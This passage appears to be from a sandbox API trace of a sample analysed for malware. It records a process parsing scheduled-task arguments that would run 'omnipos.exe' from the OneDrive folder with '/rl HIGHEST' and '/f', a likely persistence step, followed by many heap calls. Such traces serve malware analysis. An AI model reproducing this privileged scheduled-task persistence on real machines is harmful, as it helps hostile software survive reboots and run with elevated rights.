SetLastError (dwErrCode=0x0) [0141.512] lstrlenW (lpString="/tr") returned 3 [0141.512] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0141.512] SetLastError (dwErrCode=0x490) [0141.512] SetLastError (dwErrCode=0x0) [0141.513] lstrlenW (lpString="/tr") returned 3 [0141.513] GetProcessHeap () returned 0x330000 [0141.513] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c330 [0141.513] GetProcessHeap () returned 0x330000 [0141.513] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd30 [0141.513] SetLastError (dwErrCode=0x0) [0141.513] SetLastError (dwErrCode=0x0) [0141.513] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.513] lstrlenW (lpString="-/") returned 2 [0141.513] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0141.513] SetLastError (dwErrCode=0x490) [0141.513] SetLastError (dwErrCode=0x490) [0141.513] SetLastError (dwErrCode=0x0) [0141.513] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.513] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'" [0141.513] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.513] GetProcessHeap () returned 0x330000 [0141.513] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34c350 [0141.513] _memicmp (_Buf1=0x34c350, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.513] GetProcessHeap () returned 0x330000 [0141.513] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34c370 [0141.513] GetProcessHeap () returned 0x330000 [0141.513] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34d500 [0141.513] _memicmp (_Buf1=0x34d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.513] GetProcessHeap () returned 0x330000 [0141.513] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x72) returned 0x34dcd0 [0141.514] SetLastError (dwErrCode=0x7a) [0141.514] SetLastError (dwErrCode=0x0) [0141.514] SetLastError (dwErrCode=0x0) [0141.514] lstrlenW (lpString="'C") returned 2 [0141.514] lstrlenW (lpString="-/") returned 2 [0141.514] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0141.514] SetLastError (dwErrCode=0x490) [0141.514] SetLastError (dwErrCode=0x490) [0141.514] SetLastError (dwErrCode=0x0) [0141.514] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.514] GetProcessHeap () returned 0x330000 [0141.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x70) returned 0x34dd50 [0141.514] GetProcessHeap () returned 0x330000 [0141.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd60 [0141.514] SetLastError (dwErrCode=0x0) [0141.514] SetLastError (dwErrCode=0x0) [0141.514] lstrlenW (lpString="/rl") returned 3 [0141.514] lstrlenW (lpString="-/") returned 2 [0141.514] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.514] lstrlenW (lpString="?") returned 1 [0141.514] lstrlenW (lpString="?") returned 1 [0141.514] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.514] lstrlenW (lpString="rl") returned 2 [0141.514] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.514] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.514] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.514] lstrlenW (lpString="|?|") returned 3 [0141.514] lstrlenW (lpString="|rl|") returned 4 [0141.514] SetLastError (dwErrCode=0x490) [0141.514] lstrlenW (lpString="create") returned 6 [0141.514] lstrlenW (lpString="create") returned 6 [0141.515] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.515] lstrlenW (lpString="rl") returned 2 [0141.515] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.515] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.515] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.515] lstrlenW (lpString="|create|") returned 8 [0141.515] lstrlenW (lpString="|rl|") returned 4 [0141.515] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0141.515] SetLastError (dwErrCode=0x490) [0141.515] lstrlenW (lpString="delete") returned 6 [0141.515] lstrlenW (lpString="delete") returned 6 [0141.515] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.515] lstrlenW (lpString="rl") returned 2 [0141.515] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.515] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|delete|") returned 8 [0141.515] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.515] lstrlenW (lpString="|delete|") returned 8 [0141.515] lstrlenW (lpString="|rl|") returned 4 [0141.515] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0141.515] SetLastError (dwErrCode=0x490) [0141.515] lstrlenW (lpString="query") returned 5 [0141.515] lstrlenW (lpString="query") returned 5 [0141.515] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.515] lstrlenW (lpString="rl") returned 2 [0141.515] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.516] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|query|") returned 7 [0141.516] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.516] lstrlenW (lpString="|query|") returned 7 [0141.516] lstrlenW (lpString="|rl|") returned 4 [0141.516] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0141.516] SetLastError (dwErrCode=0x490) [0141.516] lstrlenW (lpString="change") returned 6 [0141.516] lstrlenW (lpString="change") returned 6 [0141.516] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.516] lstrlenW (lpString="rl") returned 2 [0141.516] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.516] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|change|") returned 8 [0141.516] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.516] lstrlenW (lpString="|change|") returned 8 [0141.516] lstrlenW (lpString="|rl|") returned 4 [0141.516] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0141.516] SetLastError (dwErrCode=0x490) [0141.516] lstrlenW (lpString="run") returned 3 [0141.516] lstrlenW (lpString="run") returned 3 [0141.516] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.516] lstrlenW (lpString="rl") returned 2 [0141.516] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.516] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|run|") returned 5 [0141.516] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.516] lstrlenW (lpString="|run|") returned 5 [0141.516] lstrlenW (lpString="|rl|") returned 4 [0141.516] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0141.517] SetLastError (dwErrCode=0x490) [0141.517] lstrlenW (lpString="end") returned 3 [0141.517] lstrlenW (lpString="end") returned 3 [0141.517] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.517] lstrlenW (lpString="rl") returned 2 [0141.517] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.517] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|end|") returned 5 [0141.517] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.517] lstrlenW (lpString="|end|") returned 5 [0141.517] lstrlenW (lpString="|rl|") returned 4 [0141.517] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0141.517] SetLastError (dwErrCode=0x490) [0141.517] lstrlenW (lpString="showsid") returned 7 [0141.517] lstrlenW (lpString="showsid") returned 7 [0141.517] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.517] lstrlenW (lpString="rl") returned 2 [0141.517] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.517] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|showsid|") returned 9 [0141.517] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|rl|") returned 4 [0141.517] lstrlenW (lpString="|showsid|") returned 9 [0141.517] lstrlenW (lpString="|rl|") returned 4 [0141.517] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0141.517] SetLastError (dwErrCode=0x490) [0141.517] SetLastError (dwErrCode=0x490) [0141.517] SetLastError (dwErrCode=0x0) [0141.517] lstrlenW (lpString="/rl") returned 3 [0141.517] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0141.517] SetLastError (dwErrCode=0x490) [0141.517] SetLastError (dwErrCode=0x0) [0141.518] lstrlenW (lpString="/rl") returned 3 [0141.518] GetProcessHeap () returned 0x330000 [0141.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34ddd0 [0141.518] GetProcessHeap () returned 0x330000 [0141.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd90 [0141.518] SetLastError (dwErrCode=0x0) [0141.518] SetLastError (dwErrCode=0x0) [0141.518] lstrlenW (lpString="HIGHEST") returned 7 [0141.518] lstrlenW (lpString="-/") returned 2 [0141.518] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0141.518] SetLastError (dwErrCode=0x490) [0141.518] SetLastError (dwErrCode=0x490) [0141.518] SetLastError (dwErrCode=0x0) [0141.518] lstrlenW (lpString="HIGHEST") returned 7 [0141.518] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0141.518] SetLastError (dwErrCode=0x490) [0141.518] SetLastError (dwErrCode=0x0) [0141.518] lstrlenW (lpString="HIGHEST") returned 7 [0141.518] GetProcessHeap () returned 0x330000 [0141.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34d520 [0141.518] GetProcessHeap () returned 0x330000 [0141.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdc0 [0141.518] SetLastError (dwErrCode=0x0) [0141.518] SetLastError (dwErrCode=0x0) [0141.518] lstrlenW (lpString="/f") returned 2 [0141.518] lstrlenW (lpString="-/") returned 2 [0141.518] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.518] lstrlenW (lpString="?") returned 1 [0141.518] lstrlenW (lpString="?") returned 1 [0141.518] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.518] lstrlenW (lpString="f") returned 1 [0141.519] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.519] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.519] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.519] lstrlenW (lpString="|?|") returned 3 [0141.519] lstrlenW (lpString="|f|") returned 3 [0141.519] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0141.519] SetLastError (dwErrCode=0x490) [0141.519] lstrlenW (lpString="create") returned 6 [0141.519] lstrlenW (lpString="create") returned 6 [0141.519] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.519] lstrlenW (lpString="f") returned 1 [0141.519] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.519] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.519] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.519] lstrlenW (lpString="|create|") returned 8 [0141.519] lstrlenW (lpString="|f|") returned 3 [0141.519] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0141.519] SetLastError (dwErrCode=0x490) [0141.519] lstrlenW (lpString="delete") returned 6 [0141.519] lstrlenW (lpString="delete") returned 6 [0141.519] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.519] lstrlenW (lpString="f") returned 1 [0141.519] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.519] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|delete|") returned 8 [0141.519] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.519] lstrlenW (lpString="|delete|") returned 8 [0141.519] lstrlenW (lpString="|f|") returned 3 [0141.519] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0141.520] SetLastError (dwErrCode=0x490) [0141.520] lstrlenW (lpString="query") returned 5 [0141.520] lstrlenW (lpString="query") returned 5 [0141.520] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.520] lstrlenW (lpString="f") returned 1 [0141.520] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.520] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|query|") returned 7 [0141.520] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.520] lstrlenW (lpString="|query|") returned 7 [0141.520] lstrlenW (lpString="|f|") returned 3 [0141.520] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0141.520] SetLastError (dwErrCode=0x490) [0141.520] lstrlenW (lpString="change") returned 6 [0141.520] lstrlenW (lpString="change") returned 6 [0141.520] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.520] lstrlenW (lpString="f") returned 1 [0141.520] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.520] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|change|") returned 8 [0141.520] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.520] lstrlenW (lpString="|change|") returned 8 [0141.520] lstrlenW (lpString="|f|") returned 3 [0141.520] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0141.520] SetLastError (dwErrCode=0x490) [0141.520] lstrlenW (lpString="run") returned 3 [0141.520] lstrlenW (lpString="run") returned 3 [0141.520] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.520] lstrlenW (lpString="f") returned 1 [0141.521] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.521] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|run|") returned 5 [0141.521] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.521] lstrlenW (lpString="|run|") returned 5 [0141.521] lstrlenW (lpString="|f|") returned 3 [0141.521] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0141.521] SetLastError (dwErrCode=0x490) [0141.521] lstrlenW (lpString="end") returned 3 [0141.521] lstrlenW (lpString="end") returned 3 [0141.521] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.521] lstrlenW (lpString="f") returned 1 [0141.521] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.521] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|end|") returned 5 [0141.521] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.521] lstrlenW (lpString="|end|") returned 5 [0141.521] lstrlenW (lpString="|f|") returned 3 [0141.521] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0141.521] SetLastError (dwErrCode=0x490) [0141.521] lstrlenW (lpString="showsid") returned 7 [0141.521] lstrlenW (lpString="showsid") returned 7 [0141.521] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.521] lstrlenW (lpString="f") returned 1 [0141.521] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.521] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|showsid|") returned 9 [0141.521] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|f|") returned 3 [0141.521] lstrlenW (lpString="|showsid|") returned 9 [0141.521] lstrlenW (lpString="|f|") returned 3 [0141.522] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0141.522] SetLastError (dwErrCode=0x490) [0141.522] SetLastError (dwErrCode=0x490) [0141.522] SetLastError (dwErrCode=0x0) [0141.522] lstrlenW (lpString="/f") returned 2 [0141.522] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0141.522] SetLastError (dwErrCode=0x490) [0141.522] SetLastError (dwErrCode=0x0) [0141.522] lstrlenW (lpString="/f") returned 2 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x6) returned 0x34ddf0 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdf0 [0141.522] SetLastError (dwErrCode=0x0) [0141.522] GetProcessHeap () returned 0x330000 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c200) returned 1 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c200) returned 0x8 [0141.522] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c200 | out: hHeap=0x330000) returned 1 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc10) returned 1 [0141.522] GetProcessHeap () returned 0x330000 [0141.522] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cc10) returned 0x20 [0141.523] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc10 | out: hHeap=0x330000) returned 1 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c290) returned 1 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c290) returned 0x12 [0141.523] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c290 | out: hHeap=0x330000) returned 1 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc40) returned 1 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cc40) returned 0x20 [0141.523] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc40 | out: hHeap=0x330000) returned 1 [0141.523] GetProcessHeap () returned 0x330000 [0141.523] GetProcessHeap () returned 0x330000 [0141.524] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c2b0) returned 1 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c2b0) returned 0x8 [0141.524] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c2b0 | out: hHeap=0x330000) returned 1 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc70) returned 1 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cc70) returned 0x20 [0141.524] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc70 | out: hHeap=0x330000) returned 1 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c2d0) returned 1 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c2d0) returned 0xe [0141.524] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c2d0 | out: hHeap=0x330000) returned 1 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] GetProcessHeap () returned 0x330000 [0141.524] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cca0) returned 1 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cca0) returned 0x20 [0141.525] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cca0 | out: hHeap=0x330000) returned 1 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c2f0) returned 1 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c2f0) returned 0x8 [0141.525] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c2f0 | out: hHeap=0x330000) returned 1 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccd0) returned 1 [0141.525] GetProcessHeap () returned 0x330000 [0141.525] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ccd0) returned 0x20 [0141.526] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccd0 | out: hHeap=0x330000) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c310) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c310) returned 0x6 [0141.526] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c310 | out: hHeap=0x330000) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd00) returned 0x20 [0141.526] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c330) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c330) returned 0x8 [0141.526] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c330 | out: hHeap=0x330000) returned 1 [0141.526] GetProcessHeap () returned 0x330000 [0141.526] GetProcessHeap () returned 0x330000 [0141.527] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd30) returned 1 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd30) returned 0x20 [0141.527] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd30 | out: hHeap=0x330000) returned 1 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34dd50) returned 1 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34dd50) returned 0x70 [0141.527] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34dd50 | out: hHeap=0x330000) returned 1 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd60) returned 1 [0141.527] GetProcessHeap () returned 0x330000 [0141.527] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd60) returned 0x20 [0141.528] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd60 | out: hHeap=0x330000) returned 1 [0141.528] GetProcessHeap () returned 0x330000 [0141.528] GetProcessHeap () returned 0x330000 [0141.528] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ddd0) returned 1 [0141.528] GetProcessHeap () returned 0x330000 [0141.528] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ddd0) returned 0x8 [0141.528] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ddd0 | out: hHeap=0x330000) returned 1 [0141.528] GetProcessHeap () returned 0x330000 [0141.528] GetProcessHeap () returned 0x330000 [0141.528] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd90) returned 1 [0141.528] GetProcessHeap () returned 0x330000 [0141.528] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd90) returned 0x20 [0141.528] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd90 | out: hHeap=0x330000) returned 1 [0141.530] GetProcessHeap () returned 0x330000 [0141.530] GetProcessHeap () returned 0x330000 [0141.530] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d520) returned 1 [0141.530] GetProcessHeap () returned 0x330000 [0141.530] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d520) returned 0x10 [0141.530] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d520 | out: hHeap=0x330000) returned 1 [0141.530] GetProcessHeap () returned 0x330000 [0141.530] GetProcessHeap () returned 0x330000 [0141.530] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdc0) returned 1 [0141.530] GetProcessHeap 